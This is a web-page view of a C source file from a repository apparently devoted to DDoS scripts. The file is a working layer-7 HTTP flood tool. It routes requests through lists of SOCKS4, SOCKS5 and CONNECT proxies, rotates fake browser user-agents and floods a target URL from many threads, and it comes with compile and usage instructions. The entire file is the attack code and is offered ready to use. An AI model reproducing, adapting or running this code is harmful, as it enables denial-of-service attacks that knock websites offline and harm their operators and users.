Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
R00tS3c
GitHub Repository: R00tS3c/DDOS-RootSec
Path: blob/master/DDOS Scripts/L7/GHP.c
4607 views
1
/*
2
gcc -pthread ghp.c -o ghp
3
*/
4
#include <unistd.h>
5
#include <time.h>
6
#include <sys/types.h>
7
#include <sys/socket.h>
8
#include <sys/resource.h>
9
#include <sys/ioctl.h>
10
#include <string.h>
11
#include <stdlib.h>
12
#include <stdio.h>
13
#include <signal.h>
14
#include <pthread.h>
15
#include <netinet/udp.h>
16
#include <netinet/tcp.h>
17
#include <netinet/ip.h>
18
#include <netinet/in.h>
19
#include <netinet/if_ether.h>
20
#include <netdb.h>
21
#include <net/if.h>
22
#include <ctype.h>
23
#include <arpa/inet.h>
24
25
#define RND_CHAR (char)((rand() % 26)+97)
26
27
char *useragents[] = {
28
"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:13.0) Gecko/20100101 Firefox/13.0.1",
29
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
30
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
31
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2",
32
"Mozilla/5.0 (Windows NT 5.1; rv:13.0) Gecko/20100101 Firefox/13.0.1",
33
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
34
"Mozilla/5.0 (Windows NT 6.1; rv:13.0) Gecko/20100101 Firefox/13.0.1",
35
"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
36
"Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)",
37
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:13.0) Gecko/20100101 Firefox/13.0.1",
38
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
39
"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
40
"Mozilla/5.0 (Windows NT 5.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
41
"Mozilla/5.0 (Windows NT 5.1) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
42
"Mozilla/5.0 (Linux; U; Android 2.2; fr-fr; Desire_A8181 Build/FRF91) App3leWebKit/53.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1",
43
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:13.0) Gecko/20100101 Firefox/13.0.1",
44
"Mozilla/5.0 (iPhone; CPU iPhone OS 5_1_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9B206 Safari/7534.48.3",
45
"Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.0) Opera 7.02 Bork-edition [en]",
46
"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:12.0) Gecko/20100101 Firefox/12.0",
47
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2",
48
"Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6",
49
"Mozilla/5.0 (iPad; CPU OS 5_1_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9B206 Safari/7534.48.3",
50
"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; FunWebProducts; .NET CLR 1.1.4322; PeoplePal 6.2)",
51
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
52
"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)",
53
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.57 Safari/536.11",
54
"Mozilla/5.0 (Windows NT 5.1; rv:5.0.1) Gecko/20100101 Firefox/5.0.1",
55
"Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)",
56
"Mozilla/5.0 (Windows NT 6.1; rv:5.0) Gecko/20100101 Firefox/5.02",
57
"Opera/9.80 (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60",
58
"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:5.0) Gecko/20100101 Firefox/5.0",
59
"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)",
60
"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322)",
61
"Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 3.5.30729)",
62
"Mozilla/5.0 (Windows NT 6.0) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1",
63
"Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:13.0) Gecko/20100101 Firefox/13.0.1",
64
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1",
65
"Mozilla/5.0 (Windows NT 6.1; rv:2.0b7pre) Gecko/20100921 Firefox/4.0b7pre",
66
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
67
"Mozilla/5.0 (Windows NT 5.1; rv:12.0) Gecko/20100101 Firefox/12.0",
68
"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)",
69
"Mozilla/5.0 (Windows NT 6.1; rv:12.0) Gecko/20100101 Firefox/12.0",
70
"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; MRA 5.8 (build 4157); .NET CLR 2.0.50727; AskTbPTV/5.11.3.15590)",
71
"Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:13.0) Gecko/20100101 Firefox/13.0.1",
72
"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)",
73
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/534.57.5 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.4",
74
"Mozilla/5.0 (Windows NT 6.0; rv:13.0) Gecko/20100101 Firefox/13.0.1",
75
"Mozilla/5.0 (Windows NT 6.0; rv:13.0) Gecko/20100101 Firefox/13.0.1",
76
};
77
#define ATTACKPORT 80
78
char *postformat = "%s /%s HTTP/1.1\r\nHost: %s\r\nUser-Agent: #useragent#\r\nConnection: keep-alive\r\n#cookies#%s\r\n%s";
79
char *postpayload;
80
struct urlparts {
81
char * name;
82
char separator[4];
83
char value[128];
84
} parts[] = {
85
{ "scheme", ":" },
86
{ "userid", "@" },
87
{ "password", ":" },
88
{ "host", "//" },
89
{ "port", ":" },
90
{ "path", "/" },
91
{ "param", ";" },
92
{ "fragment", "#" }
93
};
94
enum partnames { scheme = 0, userid, password, host, port, path, param, query, fragment } ;
95
#define NUMPARTS (sizeof parts / sizeof (struct urlparts))
96
struct urlparts *returnparts[8];
97
struct urllist { char *url; int done; struct urllist *next; struct urllist *prev; };
98
struct proxy { char *type; char *ip; int port; int working; };
99
struct list { struct proxy *data; char *useragent; struct list *next; struct list *prev; };
100
struct list *head = NULL;
101
char parseError[128];
102
int parseURL(char *url, struct urlparts **returnpart);
103
char * strsplit(char * s, char * tok);
104
char firstpunc(char *s);
105
int strleft(char * s, int n);
106
void setupparts();
107
void freeparts();
108
char *stristr(const char *String, const char *Pattern);
109
char *str_replace(char *orig, char *rep, char *with);
110
int evalmath(char *input);
111
char *ipstr;
112
char *urll;
113
static int rps = 0;
114
pthread_mutex_t parts_mutex = PTHREAD_MUTEX_INITIALIZER;
115
116
void removeSubstring(char *s,const char *toremove)
117
{
118
while( s=strstr(s,toremove) )
119
{
120
memmove(s,s+strlen(toremove),1+strlen(s+strlen(toremove)));
121
}
122
}
123
124
125
void *flood(void *par) {
126
struct list *startpoint = (struct list *)par;
127
int i;
128
struct sockaddr_in serverAddr;
129
signal(SIGPIPE, SIG_IGN);
130
char *cookies = malloc(10240);
131
memset(cookies, 0, 10240);
132
133
while(1)
134
{
135
int sent = 0;
136
if(startpoint->data->working == 0)
137
{
138
startpoint = startpoint->next;
139
continue;
140
}
141
142
memset(&serverAddr, 0, sizeof(serverAddr));
143
serverAddr.sin_family = AF_INET;
144
serverAddr.sin_port = htons(startpoint->data->port);
145
serverAddr.sin_addr.s_addr = inet_addr(startpoint->data->ip);
146
int serverSocket = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
147
u_int yes=1;
148
if (setsockopt(serverSocket,SOL_SOCKET,SO_REUSEADDR,&yes,sizeof(yes)) < 0) {}
149
if(connect(serverSocket, (struct sockaddr *)&serverAddr, sizeof(serverAddr)) > 0)
150
{
151
startpoint->data->working = 0;
152
startpoint = startpoint->next;
153
continue;
154
}
155
156
if(strcmp(startpoint->data->type, "Socks4")==0)
157
{
158
unsigned char buf[10];
159
buf[0] = 0x04;
160
buf[1] = 0x01;
161
*(unsigned short*)&buf[2] = htons(ATTACKPORT);
162
*(unsigned long*)&buf[4] = inet_addr(ipstr);
163
buf[8] = 0x00;
164
if(send(serverSocket, buf, 9, MSG_NOSIGNAL) != 9)
165
{
166
startpoint->data->working = 0;
167
startpoint = startpoint->next;
168
close(serverSocket);
169
continue;
170
}
171
}
172
173
if(strcmp(startpoint->data->type, "Socks5")==0)
174
{
175
unsigned char buf[20];
176
buf[0] = 0x05;
177
buf[1] = 0x01;
178
buf[2] = 0x00;
179
if((sent = send(serverSocket, buf, 3, MSG_NOSIGNAL)) < 0)
180
{
181
startpoint->data->working = 0;
182
startpoint = startpoint->next;
183
close(serverSocket);
184
continue;
185
}
186
buf[0] = 0x05;
187
buf[1] = 0x01;
188
buf[2] = 0x00;
189
buf[3] = 0x01;
190
*(unsigned long*)&buf[4] = inet_addr(ipstr);
191
*(unsigned short*)&buf[8] = htons(ATTACKPORT);
192
if((sent = send(serverSocket, buf, 10, MSG_NOSIGNAL)) < 0)
193
{
194
startpoint->data->working = 0;
195
startpoint = startpoint->next;
196
close(serverSocket);
197
continue;
198
}
199
}
200
201
if(strcmp(startpoint->data->type, "CONNECT") == 0 || strcmp(startpoint->data->type, "TUNNEL") == 0)
202
{
203
char *connectrequest = malloc(1024);
204
bzero(connectrequest, 1024);
205
sprintf(connectrequest, "CONNECT %s:80 HTTP/1.0\r\n\r\n", ipstr);
206
if((sent = send(serverSocket, connectrequest, strlen(connectrequest), MSG_NOSIGNAL)) < 0)
207
{
208
startpoint->data->working = 0;
209
startpoint = startpoint->next;
210
close(serverSocket);
211
continue;
212
}
213
char *recvbuf = malloc(1024);
214
bzero(recvbuf, 1024);
215
int gotbytes = recv(serverSocket, recvbuf, 1024, 0);
216
if(gotbytes < 1)
217
{
218
startpoint->data->working = 0;
219
startpoint = startpoint->next;
220
close(serverSocket);
221
continue;
222
}
223
free(recvbuf);
224
}
225
226
char *httpprepayload = str_replace(postpayload, "#useragent#", startpoint->useragent);
227
if(httpprepayload == NULL)
228
{
229
startpoint = startpoint->next;
230
close(serverSocket);
231
continue;
232
}
233
234
char *httppayload = NULL;
235
if(strlen(cookies)>0)
236
{
237
httppayload = str_replace(httpprepayload, "#cookies#", cookies);
238
if(httppayload == NULL)
239
{
240
startpoint = startpoint->next;
241
close(serverSocket);
242
continue;
243
}
244
free(httpprepayload);
245
}
246
else
247
{
248
removeSubstring(httpprepayload, "#cookies#");
249
httppayload = httpprepayload;
250
}
251
send(serverSocket, httppayload, strlen(httppayload), MSG_NOSIGNAL);
252
free(httppayload);
253
close(serverSocket);
254
rps++;
255
startpoint = startpoint->next;
256
}
257
}
258
pthread_t **threads = NULL;
259
int main(int argc, char *argv[ ]) {
260
if(argc < 6){
261
fprintf(stderr, "Invalid parameters!\n");
262
fprintf(stdout, "Usage: %s <target url> <method (GET or HEAD or POST)> <number threads to use> <proxy list> <time> [manual ip (0 to disable)] [post parameters (%RANDOM% will be replaced with random shit)]\n", argv[0]);
263
exit(-1);
264
}
265
fprintf(stdout, "Setting up Sockets...\n");
266
int num_threads = atoi(argv[3]);
267
char *method = argv[2];
268
if(!(strcmp(method, "GET")==0 || strcmp(method, "HEAD")==0|| strcmp(method, "POST")==0))
269
{
270
fprintf(stderr, "Invalid parameters!\n");
271
fprintf(stdout, "Usage: %s <target url> <method (GET or HEAD or POST)> <number threads to use> <proxy list> <time> [manual ip (0 to disable)] [post parameters (%RANDOM% will be replaced with random shit)]\n", argv[0]);
272
exit(-1);
273
}
274
FILE *pFile = fopen(argv[4], "rb");
275
if(pFile==NULL)
276
{
277
perror("fopen"); exit(1);
278
}
279
fseek(pFile, 0, SEEK_END);
280
long lSize = ftell(pFile);
281
rewind(pFile);
282
char *buffer = (char *)malloc(lSize*sizeof(char));
283
fread(buffer, 1, lSize, pFile);
284
fclose (pFile);
285
int i=0;
286
char *pch = (char *)strtok(buffer, ":");
287
while(pch != NULL)
288
{
289
if(head == NULL)
290
{
291
head = (struct list *)malloc(sizeof(struct list));
292
bzero(head, sizeof(struct list));
293
head->data = (struct proxy *)malloc(sizeof(struct proxy));
294
bzero(head->data, sizeof(struct proxy));
295
head->data->working = 1;
296
head->data->ip = malloc(strlen(pch)+1); strcpy(head->data->ip, pch);
297
pch = (char *)strtok(NULL, ":");
298
if(pch == NULL) exit(-1);
299
head->data->port = atoi(pch);
300
pch = (char *)strtok(NULL, ":");
301
head->data->type = malloc(strlen(pch)+1); strcpy(head->data->type, pch);
302
pch = (char *)strtok(NULL, ":");
303
head->useragent = useragents[rand() % (sizeof(useragents)/sizeof(char *))];
304
head->next = head;
305
head->prev = head;
306
} else {
307
struct list *new_node = (struct list *)malloc(sizeof(struct list));
308
bzero(new_node, sizeof(struct list));
309
new_node->data = (struct proxy *)malloc(sizeof(struct proxy));
310
bzero(new_node->data, sizeof(struct proxy));
311
new_node->data->working = 1;
312
new_node->data->ip = malloc(strlen(pch)+1); strcpy(new_node->data->ip, pch);
313
pch = (char *)strtok(NULL, ":");
314
if(pch == NULL) break;
315
new_node->data->port = atoi(pch);
316
pch = (char *)strtok(NULL, ":");
317
new_node->data->type = malloc(strlen(pch)+1); strcpy(new_node->data->type, pch);
318
pch = (char *)strtok(NULL, ":");
319
new_node->useragent = useragents[rand() % (sizeof(useragents)/sizeof(char *))];
320
new_node->prev = head;
321
new_node->next = head->next;
322
head->next = new_node;
323
}
324
}
325
free(buffer);
326
const rlim_t kOpenFD = 1024 + (num_threads * 2);
327
struct rlimit rl;
328
int result;
329
rl.rlim_cur = kOpenFD;
330
rl.rlim_max = kOpenFD;
331
result = setrlimit(RLIMIT_NOFILE, &rl);
332
if (result != 0)
333
{
334
perror("setrlimit");
335
fprintf(stderr, "setrlimit returned result = %d\n", result);
336
}
337
bzero(&rl, sizeof(struct rlimit));
338
rl.rlim_cur = 256 * 1024;
339
rl.rlim_max = 4096 * 1024;
340
result = setrlimit(RLIMIT_STACK, &rl);
341
if (result != 0)
342
{
343
perror("setrlimit_stack");
344
fprintf(stderr, "setrlimit_stack returned result = %d\n", result);
345
}
346
setupparts();
347
parseURL(argv[1], returnparts);
348
if(argc > 6 && !(strcmp(argv[6], "0") == 0))
349
{
350
ipstr = malloc(strlen(argv[6])+1);
351
bzero(ipstr, strlen(argv[6])+1);
352
strcpy(ipstr, argv[6]);
353
fprintf(stdout, "Using manual IP...\n");
354
} else {
355
struct hostent *he;
356
struct in_addr a;
357
he = gethostbyname(returnparts[host]->value);
358
if (he)
359
{
360
while (*he->h_addr_list)
361
{
362
bcopy(*he->h_addr_list++, (char *) &a, sizeof(a));
363
ipstr = malloc(INET_ADDRSTRLEN+1);
364
inet_ntop (AF_INET, &a, ipstr, INET_ADDRSTRLEN);
365
break;
366
}
367
}
368
else
369
{ herror("gethostbyname"); }
370
}
371
char *postdata = malloc(1);
372
bzero(postdata, 1);
373
char *extrahead = malloc(1);
374
bzero(extrahead, 1);
375
if(argc > 7)
376
{
377
fprintf(stdout, "Using post parameters\n");
378
free(postdata);
379
free(extrahead);
380
postdata = argv[7];
381
extrahead = malloc(4096);
382
bzero(extrahead, 4096);
383
sprintf(extrahead, "Content-Length: %d\r\nContent-Type: application/x-www-form-urlencoded\r\n", strlen(postdata));
384
}
385
threads = malloc((num_threads + 1) * sizeof(pthread_t *));
386
bzero(threads, (num_threads + 1) * sizeof(pthread_t *));
387
postpayload = malloc(4096);
388
urll = argv[1];
389
sprintf(postpayload, postformat, method, returnparts[path]->value, returnparts[host]->value, extrahead, postdata);
390
freeparts();
391
fprintf(stdout, "Starting Flood...\n");
392
for(i = 0;i<num_threads;i++){
393
*(threads + i) = malloc(sizeof(pthread_t));
394
bzero(*(threads + i), sizeof(pthread_t));
395
pthread_create(*(threads + i), NULL, &flood, (void *)head);
396
head = head->next;
397
}
398
int temp = atoi(argv[5]);
399
for(i = 0;i<temp;i++)
400
{
401
sleep(1);
402
printf("R/s: %d\n", rps);
403
rps = 0;
404
}
405
exit(0);
406
}
407
char *stristr(const char *String, const char *Pattern)
408
{
409
char *pptr, *sptr, *start;
410
uint slen, plen;
411
for (start = (char *)String,
412
pptr = (char *)Pattern,
413
slen = strlen(String),
414
plen = strlen(Pattern);
415
slen >= plen;
416
start++, slen--)
417
{
418
419
while (toupper(*start) != toupper(*Pattern))
420
{
421
start++;
422
slen--;
423
424
if (slen < plen)
425
return(NULL);
426
}
427
sptr = start;
428
pptr = (char *)Pattern;
429
while (toupper(*sptr) == toupper(*pptr))
430
{
431
sptr++;
432
pptr++;
433
434
if ('\0' == *pptr)
435
return (start);
436
}
437
}
438
return(NULL);
439
}
440
void freeparts()
441
{
442
return;
443
if(returnparts[0]!=NULL) { free(returnparts[0]); }
444
if(returnparts[1]!=NULL) { free(returnparts[1]); }
445
if(returnparts[2]!=NULL) { free(returnparts[2]); }
446
if(returnparts[3]!=NULL) { free(returnparts[3]); }
447
if(returnparts[4]!=NULL) { free(returnparts[4]); }
448
if(returnparts[5]!=NULL) { free(returnparts[5]); }
449
if(returnparts[6]!=NULL) { free(returnparts[6]); }
450
if(returnparts[7]!=NULL) { free(returnparts[7]); }
451
/*if(returnparts[8]!=NULL) { free(returnparts[8]); }*/
452
return;
453
}
454
void setupparts()
455
{
456
returnparts[0] = malloc(sizeof(struct urlparts));
457
returnparts[1] = malloc(sizeof(struct urlparts));
458
returnparts[2] = malloc(sizeof(struct urlparts));
459
returnparts[3] = malloc(sizeof(struct urlparts));
460
returnparts[4] = malloc(sizeof(struct urlparts));
461
returnparts[5] = malloc(sizeof(struct urlparts));
462
returnparts[6] = malloc(sizeof(struct urlparts));
463
returnparts[7] = malloc(sizeof(struct urlparts));
464
/*returnparts[8] = malloc(sizeof(struct urlparts));*/
465
bzero(returnparts[0], sizeof(struct urlparts));
466
bzero(returnparts[1], sizeof(struct urlparts));
467
bzero(returnparts[2], sizeof(struct urlparts));
468
bzero(returnparts[3], sizeof(struct urlparts));
469
bzero(returnparts[4], sizeof(struct urlparts));
470
bzero(returnparts[5], sizeof(struct urlparts));
471
bzero(returnparts[6], sizeof(struct urlparts));
472
bzero(returnparts[7], sizeof(struct urlparts));
473
/*bzero(returnparts[8], sizeof(struct urlparts));*/
474
returnparts[0]->name = "scheme";
475
strcpy(returnparts[0]->separator, ":");
476
returnparts[1]->name = "userid";
477
strcpy(returnparts[1]->separator, "@");
478
returnparts[2]->name = "password";
479
strcpy(returnparts[2]->separator, ":");
480
returnparts[3]->name = "host";
481
strcpy(returnparts[3]->separator, "//");
482
returnparts[4]->name = "port";
483
strcpy(returnparts[4]->separator, ":");
484
returnparts[5]->name = "path";
485
strcpy(returnparts[5]->separator, "/");
486
returnparts[6]->name = "param";
487
strcpy(returnparts[6]->separator, ";");
488
/*returnparts[7]->name = "query";
489
strcpy(returnparts[7]->separator, "?");*/
490
returnparts[7]->name = "fragment";
491
strcpy(returnparts[7]->separator, "#");
492
return;
493
}
494
int parseURL(char *url, struct urlparts **returnpart) {
495
register i;
496
int seplen;
497
char * remainder;
498
//char * regall = ":/;?#";
499
char * regall = ":/;#";
500
//char * regpath = ":;?#";
501
char * regpath = ":;#";
502
char * regx;
503
if(!*url)
504
{
505
strcpy(parseError, "nothing to do!\n");
506
return 0;
507
}
508
if((remainder = malloc(strlen(url) + 1)) == NULL)
509
{
510
printf("cannot allocate memory\n");
511
exit(-1);
512
}
513
strcpy(remainder, url);
514
if(firstpunc(remainder) == ':')
515
{
516
strcpy(returnpart[scheme]->value, strsplit(remainder, returnpart[scheme]->separator));
517
strleft(remainder, 1);
518
}
519
if (!strcmp(returnpart[scheme]->value, "mailto"))
520
*(returnpart[host]->separator) = 0;
521
for(i = 0; i < NUMPARTS; i++)
522
{
523
if(!*remainder)
524
break;
525
if(i == scheme || i == userid || i == password)
526
continue;
527
if(i == host && strchr(remainder, '@'))
528
{
529
if(!strncmp(remainder, "//", 2))
530
strleft(remainder, 2);
531
strcpy(returnpart[userid]->value, strsplit(remainder, ":@"));
532
strleft(remainder, 1);
533
if(strchr(remainder, '@'))
534
{
535
strcpy(returnpart[password]->value, strsplit(remainder, "@"));
536
strleft(remainder, 1);
537
}
538
*(returnpart[host]->separator) = 0;
539
}
540
if(i == path && (! *(returnpart[scheme]->value)))
541
{
542
*(returnpart[path]->separator) = 0;
543
strcpy(returnpart[scheme]->value, "http");
544
}
545
regx = (i == path) ? regpath : regall ;
546
seplen = strlen(returnpart[i]->separator);
547
if(strncmp(remainder, returnpart[i]->separator, seplen))
548
continue;
549
else
550
strleft(remainder, seplen);
551
strcpy(returnpart[i]->value, strsplit(remainder, regx));
552
}
553
if(*remainder)
554
sprintf(parseError, "I don't understand '%s'", remainder);
555
free(remainder);
556
return 0;
557
}
558
char *str_replace(char *orig, char *rep, char *with) {
559
char *result;
560
char *ins;
561
char *tmp;
562
int len_rep;
563
int len_with;
564
int len_front;
565
int count;
566
if (!orig)
567
return NULL;
568
if (!rep || !(len_rep = strlen(rep)))
569
return NULL;
570
if (!(ins = strstr(orig, rep)))
571
return NULL;
572
if (!with)
573
with = "";
574
len_with = strlen(with);
575
for (count = 0; tmp = strstr(ins, rep); ++count) {
576
ins = tmp + len_rep;
577
}
578
tmp = result = malloc(strlen(orig) + (len_with - len_rep) * count + 1);
579
if (!result)
580
return NULL;
581
while (count--) {
582
ins = strstr(orig, rep);
583
len_front = ins - orig;
584
tmp = strncpy(tmp, orig, len_front) + len_front;
585
tmp = strcpy(tmp, with) + len_with;
586
orig += len_front + len_rep;
587
}
588
strcpy(tmp, orig);
589
return result;
590
}
591
char * strsplit(char * s, char * tok) {
592
#define OUTLEN (255)
593
register i, j;
594
static char out[OUTLEN + 1];
595
for(i = 0; s[i] && i < OUTLEN; i++)
596
{
597
if(strchr(tok, s[i]))
598
break;
599
else
600
out[i] = s[i];
601
}
602
out[i] = 0;
603
if(i && s[i])
604
{
605
for(j = 0; s[i]; i++, j++) s[j] = s[i];
606
s[j] = 0;
607
}
608
else if (!s[i])
609
*s = 0;
610
return out;
611
}
612
char firstpunc(char * s) {
613
while(*s++)
614
if(!isalnum(*s)) return *s;
615
return 0;
616
}
617
int strleft(char * s, int n) {
618
int l;
619
l = strlen(s);
620
if(l < n)
621
return -1;
622
else if (l == n)
623
*s = 0;
624
memmove(s, s + n, l - n + 1);
625
return n;
626
}
627
//BEGIN COMPLICATED MATH STUFF
628
int evalmath(char *input)
629
{
630
char *output = malloc((strlen(input)*2)+1);
631
memset(output, 0, (strlen(input)*2)+1);
632
struct stack
633
{
634
int data[40];
635
int top;
636
} X;
637
char *i = input;
638
char *p = output;
639
char n1;
640
X.top = -1;
641
int debugstack = 0;
642
643
int prio(char op)
644
{
645
int pri = 0;
646
if(op == '*' || op == '/' || op =='%')
647
pri = 2;
648
else
649
{
650
if(op == '+' || op == '-')
651
pri = 1;
652
}
653
return pri;
654
}
655
656
void push(int num)
657
{
658
if(X.top != 39)
659
{
660
if(debugstack) printf("push'd %d\n", num);
661
++X.top;
662
X.data[X.top]=num;
663
}
664
}
665
666
int pop()
667
{
668
int popd=(int)-1;
669
if(X.top != -1)
670
{
671
popd= X.data[X.top];
672
--X.top;
673
}
674
if(debugstack) printf("pop'd %d\n", popd);
675
return popd;
676
}
677
678
while(*i)
679
{
680
while(*i == ' ' || *i == '\t')
681
{
682
i++;
683
}
684
if( isdigit(*i) || isalpha(*i) )
685
{
686
while( isdigit(*i) || isalpha(*i))
687
{
688
*p = *i;
689
p++;
690
i++;
691
}
692
*p = ' ';
693
p++;
694
}
695
if( *i == '(' )
696
{
697
push(*i);
698
i++;
699
}
700
if( *i == ')')
701
{
702
n1 = pop();
703
while( n1 != '(' )
704
{
705
*p = n1;
706
p++;
707
*p = ' ';
708
p++;
709
n1 = pop();
710
}
711
i++;
712
}
713
if(*i == '+' || *i == '-' || *i == '*' || *i == '/' || *i == '%')
714
{
715
if(X.top == -1)
716
{
717
push(*i);
718
}
719
else
720
{
721
n1 = pop();
722
while(prio(n1) >= prio(*i))
723
{
724
*p = n1;
725
p++;
726
*p = ' ';
727
p++;
728
n1 = pop();
729
}
730
push(n1);
731
push(*i);
732
}
733
i++;
734
}
735
}
736
while(X.top != -1)
737
{
738
n1 = pop();
739
*p = n1;
740
p++;
741
*p = ' ';
742
p++;
743
}
744
*p = '\0';
745
746
memset(&X, 0, sizeof(X));
747
748
X.top = -1;
749
750
//debugstack = 1;
751
752
char *outorig = output;
753
754
while(*output)
755
{
756
while(*output == ' ') output++;
757
if(*output == '\0') return pop();
758
if(!isdigit(*output))
759
{
760
int op2;
761
int match = 0;
762
if(debugstack) printf("op %c\n", *output);
763
switch(*output) {
764
case '+':
765
push(pop() + pop());
766
match = 1;
767
break;
768
case '*':
769
push(pop() * pop());
770
match = 1;
771
break;
772
case '-':
773
push(pop() - pop());
774
match = 1;
775
break;
776
case '/':
777
op2 = pop();
778
push(pop() / op2);
779
match = 1;
780
break;
781
}
782
if(match) output++; continue;
783
}
784
int n = *output - '0';
785
output++;
786
while(isdigit(*output))
787
{
788
n = 10 * n + *output - '0';
789
output++;
790
}
791
push(n);
792
if(*output == '\0') return pop();
793
output++;
794
}
795
796
free(outorig);
797
798
return pop();
799
}
800
//END COMPLICATED MATH STUFF
801